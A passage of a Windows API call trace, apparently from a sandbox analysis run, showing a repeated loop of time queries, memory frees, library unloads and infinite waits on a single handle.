lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6aa1811d, dwHighDateTime=0x1d9eb0c)) [0231.149] free (_Block=0x196ef0d1f20) [0231.149] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.150] free (_Block=0x196ef0d4e70) [0231.151] free (_Block=0x196ef0fc120) [0231.151] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6aab0849, dwHighDateTime=0x1d9eb0c)) [0231.210] free (_Block=0x196ef0d1c00) [0231.210] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.210] free (_Block=0x196ef0d4e70) [0231.211] free (_Block=0x196ef0fc120) [0231.211] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6aab0849, dwHighDateTime=0x1d9eb0c)) [0231.219] free (_Block=0x196ef0d1e60) [0231.219] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.220] free (_Block=0x196ef0d4e70) [0231.220] free (_Block=0x196ef0fb720) [0231.221] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6aad6b59, dwHighDateTime=0x1d9eb0c)) [0231.234] free (_Block=0x196ef0d1ae0) [0231.234] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.235] free (_Block=0x196ef0d4e70) [0231.235] free (_Block=0x196ef0fba40) [0231.235] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6aafce16, dwHighDateTime=0x1d9eb0c)) [0231.246] free (_Block=0x196ef0d1e60) [0231.247] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.247] free (_Block=0x196ef0d4e70) [0231.248] free (_Block=0x196ef0fb5e0) [0231.248] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ab2322b, dwHighDateTime=0x1d9eb0c)) [0231.256] free (_Block=0x196ef0d1b20) [0231.256] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.257] free (_Block=0x196ef0d4e70) [0231.257] free (_Block=0x196ef0fb540) [0231.257] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6abe1abd, dwHighDateTime=0x1d9eb0c)) [0231.333] free (_Block=0x196ef0d2060) [0231.334] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.334] free (_Block=0x196ef0d4e70) [0231.334] free (_Block=0x196ef0fb5e0) [0231.335] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6abe1abd, dwHighDateTime=0x1d9eb0c)) [0231.339] free (_Block=0x196ef0d1ae0) [0231.339] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.340] free (_Block=0x196ef0d4e70) [0231.340] free (_Block=0x196ef0fba40) [0231.340] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6abe1abd, dwHighDateTime=0x1d9eb0c)) [0231.345] free (_Block=0x196ef0d1f20) [0231.345] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.346] free (_Block=0x196ef0d4e70) [0231.354] free (_Block=0x196ef0fb5e0) [0231.355] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ac07e41, dwHighDateTime=0x1d9eb0c)) [0231.360] free (_Block=0x196ef0d1b40) [0231.360] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.360] free (_Block=0x196ef0d4e70) [0231.361] free (_Block=0x196ef0fba40) [0231.361] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ac2e115, dwHighDateTime=0x1d9eb0c)) [0231.371] free (_Block=0x196ef0d1a20) [0231.371] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.371] free (_Block=0x196ef0d4e70) [0231.372] free (_Block=0x196ef0fbe00) [0231.372] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ac2e115, dwHighDateTime=0x1d9eb0c)) [0231.377] free (_Block=0x196ef0d1a40) [0231.377] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.377] free (_Block=0x196ef0d4e70) [0231.378] free (_Block=0x196ef0fbea0) [0231.378] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ac548c8, dwHighDateTime=0x1d9eb0c)) [0231.386] free (_Block=0x196ef0d1fa0) [0231.386] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.386] free (_Block=0x196ef0d4e70) [0231.387] free (_Block=0x196ef0fbea0) [0231.387] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6acc695d, dwHighDateTime=0x1d9eb0c)) [0231.437] free (_Block=0x196ef0d1ca0) [0231.437] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.438] free (_Block=0x196ef0d4e70) [0231.438] free (_Block=0x196ef0fb950) [0231.438] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6acecdb9, dwHighDateTime=0x1d9eb0c)) [0231.444] free (_Block=0x196ef0d1e60) [0231.444] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.445] free (_Block=0x196ef0d4e70) [0231.445] free (_Block=0x196ef0fb310) [0231.445] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6acecdb9, dwHighDateTime=0x1d9eb0c)) [0231.450] free (_Block=0x196ef0d1c60) [0231.450] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.451] free (_Block=0x196ef0d4e70) [0231.451] free (_Block=0x196ef0fb680) [0231.451] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ad12ee0, dwHighDateTime=0x1d9eb0c)) [0231.461] free (_Block=0x196ef0d1bc0) [0231.461] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.461] free (_Block=0x196ef0d4e70) [0231.461] free (_Block=0x196ef0fb270) [0231.462] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ad12ee0, dwHighDateTime=0x1d9eb0c)) [0231.471] free (_Block=0x196ef0d1ea0) [0231.471] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.472] free (_Block=0x196ef0d4e70) [0231.472] free (_Block=0x196ef0fbd60) [0231.474] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ad391b6, dwHighDateTime=0x1d9eb0c)) [0231.479] free (_Block=0x196ef0d1960) [0231.479] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.479] free (_Block=0x196ef0d4e70) [0231.480] free (_Block=0x196ef0fbc20) [0231.480] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6adf7c75, dwHighDateTime=0x1d9eb0c)) [0231.550] free (_Block=0x196ef0d1fc0) [0231.550] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.551] free (_Block=0x196ef0d4e70) [0231.551] free (_Block=0x196ef0fbc20) [0231.551] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6adf7c75, dwHighDateTime=0x1d9eb0c)) [0231.556] free (_Block=0x196ef0d2080) [0231.556] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.556] free (_Block=0x196ef0d4e70) [0231.557] free (_Block=0x196ef0fbae0) [0231.557] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6adf7c75, dwHighDateTime=0x1d9eb0c)) [0231.565] free (_Block=0x196ef0d1fa0) [0231.567] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.567] free (_Block=0x196ef0d4e70) [0231.567] free (_Block=0x196ef0fb5e0) [0231.568] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ae1def9, dwHighDateTime=0x1d9eb0c)) [0231.572] free (_Block=0x196ef0d1de0) [0231.573] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.573] free (_Block=0x196ef0d4e70) [0231.573] free (_Block=0x196ef0fb220) [0231.573] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ae1def9, dwHighDateTime=0x1d9eb0c)) [0231.579] free (_Block=0x196ef0d1b40) [0231.579] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.580] free (_Block=0x196ef0d4e70) [0231.580] free (_Block=0x196ef0fbb30) [0231.580] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ae44165, dwHighDateTime=0x1d9eb0c)) [0231.587] free (_Block=0x196ef0d1de0) [0231.587] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.588] free (_Block=0x196ef0d4e70) [0231.588] free (_Block=0x196ef0fb4f0) [0231.588] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ae44165, dwHighDateTime=0x1d9eb0c)) [0231.594] free (_Block=0x196ef0d1ae0) [0231.594] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.595] free (_Block=0x196ef0d4e70) [0231.595] free (_Block=0x196ef0fbfe0) [0231.595] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6aee158b, dwHighDateTime=0x1d9eb0c)) [0231.652] free (_Block=0x196ef0d2060) [0231.652] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.653] free (_Block=0x196ef0d4e70) [0231.653] free (_Block=0x196ef0fb720) [0231.653] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6af03224, dwHighDateTime=0x1d9eb0c)) [0231.661] free (_Block=0x196ef0d2040) [0231.661] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.662] free (_Block=0x196ef0d4e70) [0231.662] free (_Block=0x196ef0fba40) [0231.662] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6af03224, dwHighDateTime=0x1d9eb0c)) [0231.670] free (_Block=0x196ef0d1ac0) [0231.670] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.671] free (_Block=0x196ef0d4e70) [0231.672] free (_Block=0x196ef0fbb30) [0231.672] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6af290de, dwHighDateTime=0x1d9eb0c)) [0231.677] free (_Block=0x196ef0d1f20) [0231.677] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.678] free (_Block=0x196ef0d4e70) [0231.678] free (_Block=0x196ef0fb770) [0231.678] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6af290de, dwHighDateTime=0x1d9eb0c)) [0231.683] free (_Block=0x196ef0d20c0) [0231.683] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.684] free (_Block=0x196ef0d4e70) [0231.684] free (_Block=0x196ef0fb860) [0231.684] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6afe7bcb, dwHighDateTime=0x1d9eb0c)) [0231.754] free (_Block=0x196ef0d1bc0) [0231.754] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.754] free (_Block=0x196ef0d4e70) [0231.755] free (_Block=0x196ef0fc170) [0231.755] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6afe7bcb, dwHighDateTime=0x1d9eb0c)) [0231.764] free (_Block=0x196ef0d1d60) [0231.764] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.765] free (_Block=0x196ef0d4e70) [0231.765] free (_Block=0x196ef0fb770) [0231.765] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b00df1c, dwHighDateTime=0x1d9eb0c)) [0231.770] free (_Block=0x196ef0d1ee0) [0231.771] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.771] free (_Block=0x196ef0d4e70) [0231.771] free (_Block=0x196ef0fb270) [0231.771] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b00df1c, dwHighDateTime=0x1d9eb0c)) [0231.777] free (_Block=0x196ef0d1a20) [0231.777] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.778] free (_Block=0x196ef0d4e70) [0231.778] free (_Block=0x196ef0fb860) [0231.778] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b00df1c, dwHighDateTime=0x1d9eb0c)) [0231.784] free (_Block=0x196ef0d1f40) [0231.784] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0231.784] free (_Block=0x196ef0d4e70) [0231.785] free (_Block=0x196ef0fbf90) [0231.785] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b51eee2, dwHighDateTime=0x1d9eb0c)) [0232.300] free (_Block=0x196ef0d19e0) [0232.300] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.300] free (_Block=0x196ef0d4e70) [0232.301] free (_Block=0x196ef0fbd10) [0232.301] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.302] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b5a0c53, dwHighDateTime=0x1d9eb0c)) [0232.362] free (_Block=0x196ef0d20c0) [0232.363] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.363] free (_Block=0x196ef0d4e70) [0232.364] free (_Block=0x196ef0fb220) [0232.365] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b5bc70a, dwHighDateTime=0x1d9eb0c)) [0232.371] free (_Block=0x196ef0d1b00) [0232.371] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.372] free (_Block=0x196ef0d4e70) [0232.373] free (_Block=0x196ef0fbbd0) [0232.373] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b5ddaf0, dwHighDateTime=0x1d9eb0c)) [0232.381] free (_Block=0x196ef0d1fc0) [0232.381] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.382] free (_Block=0x196ef0d4e70) [0232.383] free (_Block=0x196ef0fc120) [0232.383] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b5ddaf0, dwHighDateTime=0x1d9eb0c)) [0232.389] free (_Block=0x196ef0d1e60) [0232.389] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.390] free (_Block=0x196ef0d4e70) [0232.391] free (_Block=0x196ef0fc0d0) [0232.391] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b677947, dwHighDateTime=0x1d9eb0c)) [0232.442] free (_Block=0x196ef0d1ba0) [0232.442] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.443] free (_Block=0x196ef0d4e70) [0232.444] free (_Block=0x196ef0fbc70) [0232.444] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b677947, dwHighDateTime=0x1d9eb0c)) [0232.451] free (_Block=0x196ef0d1ac0) [0232.452] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.452] free (_Block=0x196ef0d4e70) [0232.453] free (_Block=0x196ef0fb950) [0232.453] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b69c704, dwHighDateTime=0x1d9eb0c)) [0232.466] free (_Block=0x196ef0d1d60) [0232.466] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.466] free (_Block=0x196ef0d4e70) [0232.467] free (_Block=0x196ef0fc030) [0232.467] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b6c29b7, dwHighDateTime=0x1d9eb0c)) [0232.481] free (_Block=0x196ef0d1d60) [0232.481] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.482] free (_Block=0x196ef0d4e70) [0232.482] free (_Block=0x196ef0fbf90) [0232.482] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b75b20a, dwHighDateTime=0x1d9eb0c)) [0232.539] free (_Block=0x196ef0d1e60) [0232.539] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.540] free (_Block=0x196ef0d4e70) [0232.540] free (_Block=0x196ef0fb270) [0232.540] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b75b20a, dwHighDateTime=0x1d9eb0c)) [0232.546] free (_Block=0x196ef0d1c60) [0232.546] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.547] free (_Block=0x196ef0d4e70) [0232.547] free (_Block=0x196ef0fb590) [0232.548] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b7818d6, dwHighDateTime=0x1d9eb0c)) [0232.554] free (_Block=0x196ef0d1ee0) [0232.554] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.555] free (_Block=0x196ef0d4e70) [0232.555] free (_Block=0x196ef0fbb30) [0232.555] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b7a75fe, dwHighDateTime=0x1d9eb0c)) [0232.568] free (_Block=0x196ef0d1f20) [0232.568] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.568] free (_Block=0x196ef0d4e70) [0232.569] free (_Block=0x196ef0fbc70) [0232.569] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b7a75fe, dwHighDateTime=0x1d9eb0c)) [0232.577] free (_Block=0x196ef0d1b00) [0232.577] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.577] free (_Block=0x196ef0d4e70) [0232.578] free (_Block=0x196ef0fbd10) [0232.578] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b866300, dwHighDateTime=0x1d9eb0c)) [0232.650] free (_Block=0x196ef0d1a20) [0232.650] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.651] free (_Block=0x196ef0d4e70) [0232.652] free (_Block=0x196ef0fb8b0) [0232.652] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b88c5a0, dwHighDateTime=0x1d9eb0c)) [0232.661] free (_Block=0x196ef0d1d60) [0232.661] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.662] free (_Block=0x196ef0d4e70) [0232.663] free (_Block=0x196ef0fbf40) [0232.663] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b88c5a0, dwHighDateTime=0x1d9eb0c)) [0232.672] free (_Block=0x196ef0d1980) [0232.672] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.673] free (_Block=0x196ef0d4e70) [0232.674] free (_Block=0x196ef0fb3b0) [0232.674] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b8b28e0, dwHighDateTime=0x1d9eb0c)) [0232.682] free (_Block=0x196ef0d1c60) [0232.682] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.683] free (_Block=0x196ef0d4e70) [0232.684] free (_Block=0x196ef0fbfe0) [0232.684] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b94b463, dwHighDateTime=0x1d9eb0c)) [0232.748] free (_Block=0x196ef0d19e0) [0232.748] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.749] free (_Block=0x196ef0d4e70) [0232.750] free (_Block=0x196ef0fbd60) [0232.750] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, 